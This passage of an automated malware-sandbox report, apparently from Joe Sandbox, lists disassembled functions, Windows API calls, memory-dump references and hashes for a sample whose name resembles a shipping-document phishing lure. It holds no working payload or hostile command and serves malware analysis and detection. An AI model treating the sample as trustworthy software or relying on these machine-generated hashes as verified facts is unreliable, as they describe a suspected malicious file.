                                                Download Yara Rule
                                                APIs
                                                • DestroyWindow.USER32(?,?,?,?), ref: 00D6980E
                                                • MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 00D6984A
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Window$DestroyMove
                                                • String ID: static
                                                • API String ID: 2139405536-2160076837
                                                • Opcode ID: e5118825e68b20eccca088c257b9de0f0c11b34070e86380c1d64ba800d65174
                                                • Instruction ID: 28fd5914a16b14582eab21e49d1db04725dc8dd7f651066d4e9d588ec09c04a9
                                                • Opcode Fuzzy Hash: e5118825e68b20eccca088c257b9de0f0c11b34070e86380c1d64ba800d65174
                                                • Instruction Fuzzy Hash: 7C317875110608ABEB109F24DC91AFBB3AEFF99764F148619F9A9C7190DA31AC81C770
                                                Function 00D45157 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 87windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • _memset.LIBCMT ref: 00D451C6
                                                • GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00D45201
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: InfoItemMenu_memset
                                                • String ID: 0
                                                • API String ID: 2223754486-4108050209
                                                • Opcode ID: 7f53a484c483fb6329e7346c479acba11680fefdbd5ab152d4bdf30eba967c4b
                                                • Instruction ID: 2409bf343c74e10733be0a012b4c9db36b03bf301d9dc70b46a720adeb8e48b1
                                                • Opcode Fuzzy Hash: 7f53a484c483fb6329e7346c479acba11680fefdbd5ab152d4bdf30eba967c4b
                                                • Instruction Fuzzy Hash: D931D731500709ABEB24CF99E885B9EBBF4EF45354F18401AE982A61A6D7B09944CB74
                                                Function 00D5658B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 83COMMON
                                                Download Yara Rule
                                                APIs
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: __snwprintf
                                                • String ID: , $$AUTOITCALLVARIABLE%d
                                                • API String ID: 2391506597-2584243854
                                                • Opcode ID: 598eeb063c4be466d86c4e507d659512601b5ab1702378c237808b40c530faff
                                                • Instruction ID: 1ec5405c39a6535e560a6e6ad8ca23f1131ba91020990c138ff66372c055a655
                                                • Opcode Fuzzy Hash: 598eeb063c4be466d86c4e507d659512601b5ab1702378c237808b40c530faff
                                                • Instruction Fuzzy Hash: E2215C71A00218AFCF14EFA4D882BEE77B5EF45700F404499F809AB181DB70EA59DBB5
                                                Function 00D693CF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00D6945C
                                                • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00D69467
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend
                                                • String ID: Combobox
                                                • API String ID: 3850602802-2096851135
                                                • Opcode ID: b589d2911510965e869d869ffd2725af02740c47206078ca3ffeb3b7421b5137
                                                • Instruction ID: b90c0c9ef767d743aba0d3a96e393a23526859aa244ab822a61fca361116a449
                                                • Opcode Fuzzy Hash: b589d2911510965e869d869ffd2725af02740c47206078ca3ffeb3b7421b5137
                                                • Instruction Fuzzy Hash: C7119DB1210209AFEF219F54DC90EBB776FEB883A4F140125F9199B2A0DA31AC528774
                                                Function 00D698FE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D1D17C: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00D1D1BA
                                                  • Part of subcall function 00D1D17C: GetStockObject.GDI32(00000011), ref: 00D1D1CE
                                                  • Part of subcall function 00D1D17C: SendMessageW.USER32(00000000,00000030,00000000), ref: 00D1D1D8
                                                • GetWindowRect.USER32(00000000,?), ref: 00D69968
                                                • GetSysColor.USER32(00000012), ref: 00D69982
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Window$ColorCreateMessageObjectRectSendStock
                                                • String ID: static
                                                • API String ID: 1983116058-2160076837
                                                • Opcode ID: de8c4581a246bf824af72e5e91e9911d6b78a705021139a743578ff9f11b0557
                                                • Instruction ID: 4eb32f93c5e0c47cbc0116783e712c3f5c0a9d8b3577d5b4301abdf229236930
                                                • Opcode Fuzzy Hash: de8c4581a246bf824af72e5e91e9911d6b78a705021139a743578ff9f11b0557
                                                • Instruction Fuzzy Hash: 60113A7652020AAFDB04DFB8CC45EFABBA9FB08354F055619F955D3290E734E850DB60
                                                Function 00D69617 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetWindowTextLengthW.USER32(00000000), ref: 00D69699
                                                • SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 00D696A8
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: LengthMessageSendTextWindow
                                                • String ID: edit
                                                • API String ID: 2978978980-2167791130
                                                • Opcode ID: fcad571001020b3e6c6dc003d162a3e0ece5afbf410892c762fea5daf9c79005
                                                • Instruction ID: aa232d27d699580e6a4362fa4d85bcb564cc2570f5ffb9dff47958aac086717a
                                                • Opcode Fuzzy Hash: fcad571001020b3e6c6dc003d162a3e0ece5afbf410892c762fea5daf9c79005
                                                • Instruction Fuzzy Hash: A71143B1110209ABEB109FA4DCA0AAA7B6EEB153B8F544314F965922E0C735DC91AB70
                                                Function 00D45262 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • _memset.LIBCMT ref: 00D452D5
                                                • GetMenuItemInfoW.USER32(00000030,?,00000000,00000030), ref: 00D452F4
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: InfoItemMenu_memset
                                                • String ID: 0
                                                • API String ID: 2223754486-4108050209
                                                • Opcode ID: dc91b5ac511c74124e38a6ddc7e0b53ed9bd87ccd43a373fb686524050cecf74
                                                • Instruction ID: 64019da19d5f572c876dab8dbc6ee6a812448c998724c892a99a5ab9cfbc49b0
                                                • Opcode Fuzzy Hash: dc91b5ac511c74124e38a6ddc7e0b53ed9bd87ccd43a373fb686524050cecf74
                                                • Instruction Fuzzy Hash: 3D11D375901725ABDB10DF98ED48F9D77A8AB06B50F080216E941E729ED3B0ED04C7B0
                                                Function 00D54D9F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 61networkCOMMON
                                                Download Yara Rule
                                                APIs
                                                • InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 00D54DF5
                                                • InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 00D54E1E
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Internet$OpenOption
                                                • String ID: <local>
                                                • API String ID: 942729171-4266983199
                                                • Opcode ID: cf1309bba9d61f3dde0f60613791e5f8cfcbe6d51016fb829f2c7997e2edb417
                                                • Instruction ID: 664856be27b67cab3e8a36e5ad42111ca0fa0fe7af7c60a7da54a26dcc531438
                                                • Opcode Fuzzy Hash: cf1309bba9d61f3dde0f60613791e5f8cfcbe6d51016fb829f2c7997e2edb417
                                                • Instruction Fuzzy Hash: 6F119E70501221BADF258B51CC89EFBFBA8FF1675AF10822BFD4596180E6709988D6F1
                                                Function 00D5A82C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52networkCOMMON
                                                Download Yara Rule
                                                APIs
                                                • inet_addr.WSOCK32(00000000,00000000,?,?,?,00000000), ref: 00D5A84E
                                                • htons.WSOCK32(00000000,?,00000000), ref: 00D5A88B
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: htonsinet_addr
                                                • String ID: 255.255.255.255
                                                • API String ID: 3832099526-2422070025
                                                • Opcode ID: c83a49a324f75238e6012640d6220083618e52f6504f7011eae60c766c5bc2d5
                                                • Instruction ID: e64dd11d50a7d458633f41680626d46db929ed77efe9035d7b679c27e8cfd2f4
                                                • Opcode Fuzzy Hash: c83a49a324f75238e6012640d6220083618e52f6504f7011eae60c766c5bc2d5
                                                • Instruction Fuzzy Hash: 0A012274200314ABCB10AF68C886FA9BB64EF04320F108666FD16AB3D1DB31E809C772
                                                Function 00D3B781 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(?,000001A2,000000FF,?), ref: 00D3B7EF
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend
                                                • String ID: ComboBox$ListBox
                                                • API String ID: 3850602802-1403004172
                                                • Opcode ID: 60b5a6c6953f124794e1c9574f71358989bb0f2e1a46124a51bbcd33b054568f
                                                • Instruction ID: 59fbac7b44ba3f77bac11f3619551fac5bb586637390cb3eb0b2e524ec27e6e0
                                                • Opcode Fuzzy Hash: 60b5a6c6953f124794e1c9574f71358989bb0f2e1a46124a51bbcd33b054568f
                                                • Instruction Fuzzy Hash: BB0171B1651118ABCB04EBA4DC52AFE7369EF46360B140719F5A2A72D2EB7059188BB0
                                                Function 00D3B67D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(?,00000180,00000000,?), ref: 00D3B6EB
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend
                                                • String ID: ComboBox$ListBox
                                                • API String ID: 3850602802-1403004172
                                                • Opcode ID: 96e7b06635a2ab6fd020428553d3de252eda58938b689d913d76076c524c527b
                                                • Instruction ID: d6d10ed118d39809b924aa1110074d7913ab029740654dd9c41b54045a03d294
                                                • Opcode Fuzzy Hash: 96e7b06635a2ab6fd020428553d3de252eda58938b689d913d76076c524c527b
                                                • Instruction Fuzzy Hash: 2E018FB2641108ABCB04EBA4C963BFE73A9DB05344F140119B542A72D2EB909E188BB5
                                                Function 00D3B700 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 48windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(?,00000182,?,00000000), ref: 00D3B76C
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend
                                                • String ID: ComboBox$ListBox
                                                • API String ID: 3850602802-1403004172
                                                • Opcode ID: 9870b4d67617e639c88b9dd2b9ca72349b0c20a26ac93fc90bb5facffefe5c5c
                                                • Instruction ID: 1d23e4b5752fba7237cee4900c1be065a5cec890cb0707a4f3ed0748c9c5bbad
                                                • Opcode Fuzzy Hash: 9870b4d67617e639c88b9dd2b9ca72349b0c20a26ac93fc90bb5facffefe5c5c
                                                • Instruction Fuzzy Hash: 4A01D6B1640208ABCB00E7A4D913FFF73ADDB05344F14011AB546B31D2DBA09E0987B5
                                                Function 00D47744 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON
                                                Download Yara Rule
                                                APIs
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ClassName_wcscmp
                                                • String ID: #32770
                                                • API String ID: 2292705959-463685578
                                                • Opcode ID: 7f3edfc681b8d8d2e63b0404154360d8f94fafa6eb37db08972c226bb91c7011
                                                • Instruction ID: 170d4d3fe17f6fb4d0a33849613beca4758972551a871fdb8ceb2731d9364b1c
                                                • Opcode Fuzzy Hash: 7f3edfc681b8d8d2e63b0404154360d8f94fafa6eb37db08972c226bb91c7011
                                                • Instruction Fuzzy Hash: 22E092776043296BD710EAA5AC0AEC7FBACEB61764F014056B915D3181E670A60587F0
                                                Function 00D3A631 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00D3A63F
                                                  • Part of subcall function 00D213F1: _doexit.LIBCMT ref: 00D213FB
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Message_doexit
                                                • String ID: AutoIt$Error allocating memory.
                                                • API String ID: 1993061046-4017498283
                                                • Opcode ID: 6608ac3b0782208edf2e1b2cb0b688a0f5b5e02daf84e925859b5a52e5687bf3
                                                • Instruction ID: c8241d822cb9855863471d11a83a91f9a2f31604d5d244362e5566eeb02fe9cf
                                                • Opcode Fuzzy Hash: 6608ac3b0782208edf2e1b2cb0b688a0f5b5e02daf84e925859b5a52e5687bf3
                                                • Instruction Fuzzy Hash: 77D05E323C472C3BD31436AD7C1BFDA7649CB25BA5F184426BB0C955D25DE2DA8042F9
                                                Function 00D7AE86 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetSystemDirectoryW.KERNEL32(?), ref: 00D7ACC0
                                                • FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 00D7AEBD
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: DirectoryFreeLibrarySystem
                                                • String ID: WIN_XPe
                                                • API String ID: 510247158-3257408948
                                                • Opcode ID: ca804cfe733b9d3304ddf6f785caef11a3f25cf1c35939836c1a950584a499ce
                                                • Instruction ID: 5407cd39f1eac084739c3bc0f84216d47eed481315f815dccca9aa2cccc49e8f
                                                • Opcode Fuzzy Hash: ca804cfe733b9d3304ddf6f785caef11a3f25cf1c35939836c1a950584a499ce
                                                • Instruction Fuzzy Hash: B4E06574C10309EFCB16DBA9D9449ECB7B8ABC8301F15C082E046B22A0DB304A84DF32
                                                Function 00D686CC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00D686E2
                                                • PostMessageW.USER32(00000000), ref: 00D686E9
                                                  • Part of subcall function 00D47A58: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 00D47AD0
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: FindMessagePostSleepWindow
                                                • String ID: Shell_TrayWnd
                                                • API String ID: 529655941-2988720461
                                                • Opcode ID: b2d3cd6aa7801583b2ee3ce2117a58ba48b3c70bbe1c020b74f439b113ca3522
                                                • Instruction ID: 338ba8a45d2b5c2223a13ba8b9ca8ea5d9479e6a8ccda0ba9785bf7dd02536da
                                                • Opcode Fuzzy Hash: b2d3cd6aa7801583b2ee3ce2117a58ba48b3c70bbe1c020b74f439b113ca3522
                                                • Instruction Fuzzy Hash: 2CD01271395328BBF274A7709C0BFC67B599B05B21F500915B74AEA2D0C9E4E940C775
                                                Function 00D68698 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00D686A2
                                                • PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 00D686B5
                                                  • Part of subcall function 00D47A58: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 00D47AD0
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: FindMessagePostSleepWindow
                                                • String ID: Shell_TrayWnd
                                                • API String ID: 529655941-2988720461
                                                • Opcode ID: 62346a771e8fa80aa6f7348772e5be09158603f1dbc9261dadc61b90dbf9efe7
                                                • Instruction ID: 3c67425ebbd0f4cae2579ac65ee6ecbcff9d5e72fed74166db8a68fe2bb0236d
                                                • Opcode Fuzzy Hash: 62346a771e8fa80aa6f7348772e5be09158603f1dbc9261dadc61b90dbf9efe7
                                                • Instruction Fuzzy Hash: 2BD01271394328BBE274A7709C0BFD67B599B04B21F100915B74AEA2D0C9E4E940C774